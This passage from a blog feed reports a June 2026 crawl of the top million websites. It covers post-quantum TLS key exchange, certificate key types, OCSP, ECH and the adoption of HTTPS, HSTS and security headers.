id="key-exchange-and-the-arrival-of-post-quantum">Key Exchange and the arrival of post-quantum</h3><p>This is the development I&apos;ve been waiting to be able to measure &#x2014; and it&apos;s further along than I&apos;d have guessed.</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Key Exchange Group</th>
    <th>Count</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td><strong>X25519MLKEM768 (post-quantum hybrid)</strong></td>
    <td><strong>358,115</strong></td>
    </tr>
    <tr>
    <td>X25519</td>
    <td>231,406</td>
    </tr>
    <tr>
    <td>ECDH P-256 (prime256v1)</td>
    <td>38,453</td>
    </tr>
    <tr>
    <td>ECDH P-384 (secp384r1)</td>
    <td>13,293</td>
    </tr>
    <tr>
    <td>ECDH P-521 (secp521r1)</td>
    <td>4,975</td>
    </tr>
    <tr>
    <td>DH 2048 / 3072 / 4096</td>
    <td>294</td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><blockquote>358,115 sites &#x2014; around 44% of everything that responded &#x2014; negotiated a post-quantum hybrid key exchange.</blockquote><p></p><p><code>X25519MLKEM768</code> combines the classical X25519 curve with ML-KEM-768 (the NIST-standardised, post-quantum key-encapsulation mechanism formerly known as Kyber). The hybrid construction means you get today&apos;s security <em>and</em> protection against &quot;harvest now, decrypt later&quot; attacks, where an adversary records encrypted traffic now in the hope of decrypting it with a future quantum computer. For a huge swathe of the web, that future threat is already mitigated.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/pqkx.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1089" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/pqkx.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/pqkx.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/pqkx.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/pqkx.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p>What&apos;s remarkable is how <em>quietly</em> this happened. A couple of years ago, post-quantum TLS was a research curiosity you had to go out of your way to enable. Today it&apos;s the single most common key-exchange group on the web, ahead of plain X25519 &#x2014; because Cloudflare and Google turned it on by default and, between them, front an enormous fraction of the top million. It&apos;s the clearest example I have of how much leverage a handful of infrastructure providers now hold: one default flip, and quantum-safe key agreement goes mainstream across hundreds of thousands of sites overnight.</p><p>(A note on measurement: classical key exchange is overwhelmingly X25519 now, with the NIST P-curves a distant second and finite-field DH all but gone. To see the PQC group at all I had to upgrade the crawler to OpenSSL 3.5 &#x2014; older clients simply don&apos;t offer the hybrid groups, which is a neat illustration of why client support is the gating factor for adoption.)</p><p></p><h3 id="authentication-keys">Authentication Keys</h3><p>A quieter milestone, but a real one: ECDSA has overtaken RSA. Finally!</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Key type</th>
    <th>Jun 2022</th>
    <th>Jun 2026</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>RSA</td>
    <td>392,191</td>
    <td>306,042</td>
    </tr>
    <tr>
    <td>ECDSA</td>
    <td>165,438</td>
    <td><strong>340,498</strong></td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>And by key size, 256-bit ECDSA is now the single most common choice, having overtaken 2048-bit RSA:</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Key size</th>
    <th>Jun 2022</th>
    <th>Jun 2026</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>256-bit (ECDSA P-256)</td>
    <td>157,878</td>
    <td><strong>332,437</strong></td>
    </tr>
    <tr>
    <td>2048-bit (RSA)</td>
    <td>353,376</td>
    <td>263,394</td>
    </tr>
    <tr>
    <td>4096-bit (RSA)</td>
    <td>35,977</td>
    <td>38,779</td>
    </tr>
    <tr>
    <td>384-bit (ECDSA P-384)</td>
    <td>7,560</td>
    <td>8,061</td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>Smaller, faster, modern elliptic-curve keys have won the argument. The remaining RSA install base is large but now clearly in decline, and the insane pile of 4096-bit RSA keys has barely grown.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/public-key-type.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1081" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/public-key-type.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/public-key-type.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/public-key-type.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/public-key-type.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/public-key-size.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1090" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/public-key-size.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/public-key-size.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/public-key-size.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/public-key-size.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="ocsp-stapling">OCSP stapling</h3><p>210,377 sites staple an OCSP response to their handshake, sparing clients a separate round-trip to the CA to check revocation (<a href="https://scotthelme.co.uk/revocation-checking-is-pointless/?ref=scotthelme.ghost.io" rel="noreferrer">does anyone still do that?</a>). It&apos;s worth noting this is a technology on the way out: with the CA/Browser Forum making OCSP optional and the industry shifting to short-lived certificates and <a href="https://scotthelme.co.uk/crlite-finally-a-fix-for-broken-revocation/?ref=scotthelme.ghost.io" rel="noreferrer">CRL-based mechanisms</a>, stapling matters less every year &#x2014; when your certificate only lives 90 days (or soon 47), revocation is a much smaller problem to begin with. A nice example of one part of the ecosystem (short lifetimes) quietly dissolving the need for another (revocation infrastructure).</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/ocsp.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1042" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/ocsp.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/ocsp.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/ocsp.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/ocsp.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="encrypted-client-hello-ech">Encrypted Client Hello (ECH)</h3><p>The last big metadata leak in TLS is the Server Name Indication field &#x2014; the hostname you&apos;re connecting to, sent in the clear during the handshake. Encrypted Client Hello closes it, and adoption is already substantial: 199,959 sites publish an ECH configuration in their DNS <code>HTTPS</code> record, with<strong> 278,778 sites</strong> publishing a DNS <code>HTTPS</code>/SVCB record at all. Like the post-quantum rollout above, it&apos;s a privacy win that&apos;s landed years ahead of where I&apos;d have expected &#x2014; and one most site owners got without lifting a finger.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/ech.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: The State of Crypto" loading="lazy" width="2000" height="1041" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/ech.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/ech.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/ech.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/ech.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="closing-thoughts">Closing thoughts</h3><p>The cryptographic foundations of the web have changed enormously over the last decade. TLS 1.3 is now the dominant protocol, weak legacy versions have almost disappeared, modern cipher suites are the norm, forward secrecy is effectively universal, and short-lived, automatically issued certificates have become the default for a huge part of the web. That is a remarkable shift from where we were ten years ago.</p><p>What stands out most in this data is how much of that progress is now driven by infrastructure defaults. Certificate automation, 90-day lifetimes, ECDSA, modern TLS configuration, ECH and even post-quantum hybrid key exchange are being rolled out at enormous scale by CDNs, hosting platforms, browsers and certificate authorities. Individual site owners may not always be making these changes directly, but they are benefiting from the ecosystem moving underneath them.</p><p>There are still areas to improve, of course. CAA has plenty of room to grow, the use of ECH is still building, and the post-quantum transition is only just beginning. But compared with the broader application-security picture, the TLS and certificate ecosystem feels like it&apos;s finally in good shape. The plumbing is getting stronger, more modern, and more automated, and that gives us a much better foundation for whatever comes next.</p><p>A decade ago, we were still arguing about whether everyone really needed HTTPS. Today, the frontier is quantum resistance, and the web is quietly already crossing it.</p><p></p><h3 id="get-the-data">Get the data</h3><p>Everything here is open &#x2014; the full per-metric files, the raw database dump, and the daily crawl data are at <a href="https://crawler.ninja/?ref=scotthelme.ghost.io">Crawler.Ninja</a>.</p><p>If you missed it, <a href="https://scotthelme.co.uk/top-1-million-analysis-june-2026-ten-years-of-web-security/?ref=scotthelme.ghost.io" rel="noreferrer">part one</a> covers the security headers, cookies, email/DNS security and the broader anniversary retrospective. Here&apos;s to the next ten years!</p><hr><p><em>Crawl date: 13 June 2026. 819,002 responding sites from the Tranco Top 1 Million. Powered by </em><a href="https://crawler.ninja/?ref=scotthelme.ghost.io"><em>Crawler.Ninja</em></a><em> and </em><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><em>Report URI</em></a><em>.</em></p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[Top 1 Million Analysis – June 2026: Ten Years of Web Security]]></title>
                <description><![CDATA[<p>It&apos;s been a long time since the last one of these! The previous Top 1 Million Analysis was way back in <em>June 2022</em>, and a lot has happened since then. But there&apos;s a much bigger reason to dust off the crawler and publish another report: <strong>this</strong></p>]]></description>
                <link>https://scotthelme.ghost.io/top-1-million-analysis-june-2026-ten-years-of-web-security/</link>
                <guid isPermaLink="false">6a2dd1d7d237ab0001bd29b7</guid>
                <category><![CDATA[Crawler Report]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Mon, 29 Jun 2026 13:40:56 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/10-year-part-1.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/10-year-part-1.png" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security"><p>It&apos;s been a long time since the last one of these! The previous Top 1 Million Analysis was way back in <em>June 2022</em>, and a lot has happened since then. But there&apos;s a much bigger reason to dust off the crawler and publish another report: <strong>this year marks ten years since I started crawling the top 1 million sites!</strong> The very first crawl went out in 2016, and a decade later it feels like exactly the right moment to take stock of how far web security has come &#x2014; and where it&apos;s quietly going backwards.</p><p>There&apos;s so much to cover this year that I&apos;ve split the report into two parts. This first part is the anniversary retrospective and the broad state of the web &#x2014; HTTPS, the security headers, cookies, email and DNS security, and more. <a href="https://scotthelme.co.uk/top-1-million-analysis-june-2026-the-state-of-crypto/?ref=scotthelme.ghost.io" rel="noreferrer">Part two</a> is going to be a dedicated deep-dive into the cryptography side of things with TLS, certificates, certificate lifetimes, the arrival of post-quantum cryptography, and more. That will be published tomorrow.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-3.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/report-uri-logo-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/report-uri-logo-3.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h3 id="introduction">Introduction</h3><p>Over a decade ago, I started <a href="https://scotthelme.co.uk/tag/crawler-report/?ref=scotthelme.ghost.io" rel="noreferrer">measuring</a> how the web was adopting some of the security features that were, at the time, still relatively new or uncommon. Things like HTTPS redirects, HSTS, CSP, security headers, cookie flags, and other browser-side protections were gradually becoming part of the modern web security toolkit. A decade later, the picture looks very different. Some of those technologies are now firmly established, others have struggled to gain meaningful adoption, and in many cases the presence of a feature doesn&#x2019;t necessarily mean it has been deployed well. In this post, I&#x2019;m taking a fresh look at the Tranco Top 1 Million to see how far we&#x2019;ve come, where progress has stalled, and what the current state of web security really looks like.</p><p></p><h3 id="the-crawl">The Crawl</h3><p>The methodology is the same as it&apos;s always been: take the <a href="https://tranco-list.eu/?ref=scotthelme.ghost.io">Tranco</a> Top 1 Million list, request each site over HTTP, follow the redirects, and record everything about the response &#x2014; security headers, the TLS handshake, the certificate, a bunch of DNS lookups, and everything else I could think of. Of the million sites on the list, 819,002 responded this time, and everything below is measured against that responding population.</p><p>Two things worth flagging up front. First, the gap: four years is a long time (my bad), so where it&apos;s useful I&apos;ve compared back to June 2022, but I&apos;ve also leaned on the full historical dataset for the ten-year view. Second, I took the opportunity to substantially expand what the crawler measures for this anniversary edition &#x2014; there are a whole set of new metrics here that have never appeared in one of these reports before (cookie security attributes, DMARC/SPF, cross-origin isolation, ECH, post-quantum cryptography and more). More on those as we go, and the big hitters will be in part two.</p><p></p><h3 id="a-decade-in-numbers">A decade in numbers</h3><p>Before we dig into individual metrics, here&apos;s the headline story of ten years of web security, told through the three metrics with the longest history:</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Metric</th>
    <th>Aug 2015</th>
    <th>Mar 2020</th>
    <th>Jun 2022</th>
    <th><strong>Jun 2026</strong></th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Redirect to HTTPS</td>
    <td>62,043</td>
    <td>528,498</td>
    <td>589,979</td>
    <td><strong>658,038</strong></td>
    </tr>
    <tr>
    <td>HSTS</td>
    <td>11,308</td>
    <td>132,466</td>
    <td>188,492</td>
    <td><strong>252,846</strong></td>
    </tr>
    <tr>
    <td>CSP</td>
    <td>1,365</td>
    <td>51,986</td>
    <td>79,549</td>
    <td><strong>170,057</strong></td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>That&apos;s the encouraging part &#x2014; the foundational stuff is still climbing. HTTPS has gone from a minority of sites to the overwhelming default, HSTS continues its steady climb, and CSP has more than doubled again since 2022. The web really is more secure than it was a decade ago. But as we&apos;ll see, several of the metrics I&apos;ve tracked for years have plateaued or started to slide, and the most interesting story this year is in the brand-new things that didn&apos;t even exist last time.</p><p></p><h3 id="the-biggest-movers-of-the-decade">The biggest movers of the decade</h3><p>Ten years is long enough to see some genuinely enormous swings. Measured from the very first crawl in 2015, the biggest risers are:</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Metric</th>
    <th>Aug 2015</th>
    <th>Jun 2026</th>
    <th>Change</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Content-Security-Policy</td>
    <td>1,365</td>
    <td>170,057</td>
    <td><strong>+12,360%</strong></td>
    </tr>
    <tr>
    <td>CSP-Report-Only</td>
    <td>211</td>
    <td>9,979</td>
    <td>+4,630%</td>
    </tr>
    <tr>
    <td>HSTS</td>
    <td>11,308</td>
    <td>252,846</td>
    <td>+2,140%</td>
    </tr>
    <tr>
    <td>Redirect to HTTPS</td>
    <td>62,043</td>
    <td>658,038</td>
    <td>+960%</td>
    </tr>
    <tr>
    <td>X-Content-Type-Options</td>
    <td>44,315</td>
    <td>311,659</td>
    <td>+603%</td>
    </tr>
    <tr>
    <td>X-Frame-Options</td>
    <td>55,042</td>
    <td>327,918</td>
    <td>+496%</td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p>CSP going from barely a thousand sites to 170,000+ &#x2014; a <strong>125&#xD7;</strong> increase &#x2014; is the standout of the decade, without a doubt. It&apos;s great to see it finally getting the attention it deserves. </p><p>And the notable fallers and reversals, mostly more recent:</p><p><strong>EV certificates:</strong> 15,604 (2020 peak) &#x2192; 4,186, a slow-motion collapse. If you&apos;re new to the Web, you may not have seen an EV certificate in action as their UI was removed back in 2019 (<a href="https://scotthelme.co.uk/gone-for-ever/?ref=scotthelme.ghost.io" rel="noreferrer">Gone forEVer</a>) and I&apos;ve been tracking their decline since long before that (<a href="https://scotthelme.co.uk/sites-that-used-to-have-ev/?ref=scotthelme.ghost.io" rel="noreferrer">Sites that used to have EV</a>). It&apos;s weird to see that EV is still most popular in the highest ranked sites, I guess they have the money to burn?</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/ev-certs.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1108" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/ev-certs.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/ev-certs.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/ev-certs.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/ev-certs.png 2400w" sizes="(min-width: 720px) 720px"></figure><blockquote>A quick note if you&apos;ve not read one of these crawler reports before, this is the typical form I present the graphs in. We have the top 1 million sites on the x-axis, in groups of 5,000 sites, and the y-axis shows how many sites in that group have the feature.</blockquote><p></p><p><strong>Feature-Policy:</strong> peaked and now declining as <strong>Permissions-Policy</strong> replaces it, this decline is a good thing as sites are responding to the changing standards. </p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/permissions-policy.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1079" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/permissions-policy.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/permissions-policy.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/permissions-policy.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/permissions-policy.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p><strong>X-XSS-Protection grew ~290%</strong> over the decade, to 163,114 sites. How odd. For a feature browsers have since <em>removed</em> entirely, it&apos;s doing spectacularly well...</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/xxp-1.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1046" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/xxp-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/xxp-1.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/xxp-1.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/xxp-1.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><h3 id="https">HTTPS</h3><p>658,038 sites now redirect to HTTPS, up about 12% from 589,979 in 2022. To put the ten-year arc in perspective, that figure was just <strong>62,043</strong> in 2015 &#x2014; under 7% of the responding sites. HTTPS is now simply how the web works, and the long tail of plain-HTTP sites is shrinking every year. If you&apos;re somehow still in that tail, we have an excellent two-day course to get hands on with deploying HTTPS that you can check out: <a href="https://www.feistyduck.com/training/practical-tls-and-pki?ref=scotthelme.ghost.io" rel="noreferrer">Practical TLS and PKI</a>. Here&apos;s the current state of HTTPS in the top 1 million sites.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-1.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1109" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/image-1.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/image-1.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-1.png 2033w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Next, let&apos;s take a look at HTTPS adoption over the years. </p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/https.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1045" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/https.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/https.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/https.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/https.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Just look at that rise in adoption! You can also see another similar trend in that sites at the higher end of the ranking (the left side of the graph) are more likely to deploy certain security measures like HTTPS and sites further down the ranking (the right side of the graph) are less likely.</p><p></p><h3 id="http-strict-transport-security">HTTP Strict Transport Security</h3><p>HSTS continues its healthy growth: 252,846 sites now send the header, up 34% on 2022. Given that HSTS only makes sense once you&apos;re fully on HTTPS, it&apos;s reassuring to see it keep climbing rather than plateauing alongside HTTPS.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-4.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1109" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/image-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/image-4.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/image-4.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/image-4.png 2033w" sizes="(min-width: 720px) 720px"></figure><p></p><p>HSTS has shown huge growth over the last 10 years and now stands out as a very popular security mechanism.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/06/hsts.png" class="kg-image" alt="Top 1 Million Analysis &#x2013; June 2026: Ten Years of Web Security" loading="lazy" width="2000" height="1215" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/06/hsts.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/06/hsts.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2026/06/hsts.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w2400/2026/06/hsts.png 2400w" sizes="(min-width: 720px) 720px"></figure><p></p><p>But presence isn&apos;t the same as a <em>good</em> configuration. Looking at how those sites actually set the header: only 49.8% include<strong> </strong><code>includeSubDomains</code>, 69.2% set a <code>max-age</code> of at least a year, and 29.2% send the <code>preload</code> directive &#x2014; but when you require all three together, which is the real bar for the <a href="https://hstspreload.org/?ref=scotthelme.ghost.io">preload list</a>, only 21% (53,019 sites) actually qualify. A lot of HSTS deployments are weaker than they look. If you want to get the directives (and <code>preload</code>) right, the <a href="https://scotthelme.co.uk/hsts-cheat-sheet/?ref=scotthelme.ghost.io">HSTS Cheat Sheet</a> has you covered.</p><p></p><table>
    <thead>
    <tr>
    <th>Configuration</th>
    <th>Sites</th>
    <th>Share</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td><code>max-age</code> &#x2265; 1 year</td>
    <td>174,988</td>
    <td>69.2%</td>
    </tr>
    <tr>
    <td><code>includeSubDomains</code></td>
    <td>125,826</td>
    <td>49.8%</td>
    </tr>
    <tr>
    <td><code>preload</code> directive</td>
    <td>73,792</td>
    <td>29.2%</td>
    </tr>
    <tr>
    <td><strong>Preload-eligible (all three)</strong></td>
    <td><strong>53,019</strong></td>
    <td><strong>21.0%</strong></td>
    </tr>
    </tbody>
    </table>
    <p></p><h3 id="security-headers">Security Headers</h3><p>The core security headers continue to grow, and some of them dramatically. With some really simple and easy wins for security and privacy, it&apos;s nice to see continued increases in the numbers.</p><p></p>
    <!--kg-card-begin: html-->
    <table>
    <thead>
    <tr>
    <th>Header</th>
    <th>Jun 2022</th>
    <th><strong>Jun 2026</strong></th>
    <th>Change</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>Content-Security-Policy</td>
    <td>79,549</td>
    <td><strong>170,057</strong></td>
    <td>+114%</td>
    </tr>
    <tr>
    <td>Referrer-Policy</td>
    <td>70,928</td>
    <td><strong>229,130</strong></td>
    <td>+223%</td>
    </tr>
    <tr>
    <td>Permissions-Policy</td>
    <td>32,837</td>
    <td><strong>101,364</strong></td>
    <td>+209%</td>
    </tr>
    <tr>
    <td>X-Frame-Options</td>
    <td>201,170</td>
    <td><strong>327,918</strong></td>
    <td>+63%</td>
    </tr>
    <tr>
    <td>X-Content-Type-Options</td>
    <td>184,302</td>
    <td><strong>311,659</strong></td>
    <td>+69%</td>
    </tr>
    </tbody>
    </table>
    <!--kg-card-end: html-->
    <p></p><p><a href="https://scotthelme.co.uk/a-new-security-header-referrer-policy/?ref=scotthelme.ghost.io" rel="noreferrer">Referrer-Policy</a> is the standout, more than tripling &#x2014; it&apos;s cheap, safe, and increasingly set by default by frameworks and CDNs. CSP more than doubling is hugely encouraging given how hard it is to deploy well; if you&apos;re wrestling with one, reach out to us at <a href="https://report-uri.com/solutions/cross_site_scripting?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> and we&apos;ll make it easy. <a href="https://scotthelme.co.uk/goodbye-feature-policy-and-hello-permissions-policy/?ref=scotthelme.ghost.io" rel="noreferrer">Permissions-Policy</a> has tripled as it finishes replacing the deprecated <a href="https://scotthelme.co.uk/a-new-security-header-feature-policy/?ref=scotthelme.ghost.io" rel="noreferrer">Feature-Policy</a> (now down to 4,600 and falling).</p><p>One blemish: X-XSS-Protection is still being sent by 163,114 sites and is even still growing slightly, despite browsers having <em>removed</em> the feature entirely. It does nothing now, and in its day it could even introduce vulnerabilities. It&apos;s a header that should be 